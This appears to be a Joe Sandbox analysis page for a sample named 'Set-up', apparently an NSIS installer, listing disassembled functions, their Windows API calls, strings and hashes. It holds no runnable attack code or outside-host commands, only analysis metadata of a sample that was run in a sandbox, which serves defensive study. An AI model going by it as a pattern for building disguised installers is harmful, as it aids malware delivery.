Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
BringToFront, xrefs: 004016BD
Sleep(%d), xrefs: 0040169D
Rename: %s, xrefs: 004018F8
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
SetFileAttributes failed., xrefs: 004017A1
Rename on reboot: %s, xrefs: 00401943
Call: %d, xrefs: 0040165A
CreateDirectory: "%s" created, xrefs: 00401849
detailprint: %s, xrefs: 00401679
SetFileAttributes: "%s":%08X, xrefs: 0040177B
CreateDirectory: "%s" (%d), xrefs: 004017BF
Aborting: "%s", xrefs: 0040161D
Jump: %d, xrefs: 00401602
Rename failed: %s, xrefs: 0040194B

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

_Nb, xrefs: 00405AD1
RichEdit20A, xrefs: 00405BB6, 00405BBB
RichEdit, xrefs: 00405BC4
B%F, xrefs: 00405A1F
@rD, xrefs: 00405965
@%F, xrefs: 004059F6
RichEd20, xrefs: 00405B9D
.DEFAULT\Control Panel\International, xrefs: 00405999
Control Panel\Desktop\ResourceLocale, xrefs: 00405972
.exe, xrefs: 00405A3D
RichEd32, xrefs: 00405BA8

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$@%F$@rD$B%F$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-1650083594
Opcode ID: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction ID: 271ce27004ef92612bfc9362a6cc74883a37054a4c8cca7c49d128c059fded9a
Opcode Fuzzy Hash: 18be7924d3bcca259bbbf180237d25193f30e5c9112311b2c349bb590eb249de
Instruction Fuzzy Hash: 5E71A370604B04AED721AB65EE85F2736ACEB44749F00053FF945B22E2D7B89D418F6E

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

lstrcatW.KERNEL32(00000000,00000000,TeachesGoal,004CB0B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,TeachesGoal,TeachesGoal,00000000,00000000,TeachesGoal,004CB0B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Strings

File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: error, user retry, xrefs: 00401B40
TeachesGoal, xrefs: 00401A53, 00401A5C, 00401A69, 00401A7B, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user abort, xrefs: 00401B53
File: error creating "%s", xrefs: 00401AF0
File: wrote %d to "%s", xrefs: 00401BD0
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user cancel, xrefs: 00401B93

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"$TeachesGoal
API String ID: 4286501637-1906683911
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

Error launching installer, xrefs: 004035D7
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Null, xrefs: 0040367E
soft, xrefs: 00403675
Inst, xrefs: 0040366C

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 0040343C
... %d%%, xrefs: 0040349E
P1B, xrefs: 004033A9
X1C, xrefs: 004033ED

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNEL32(00000000), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
Exch: stack < %d elements, xrefs: 00401ED8
TeachesGoal, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.2230884701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2230864947.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230902191.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230919350.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2230989786.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$TeachesGoal
API String ID: 1459762280-173623582
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

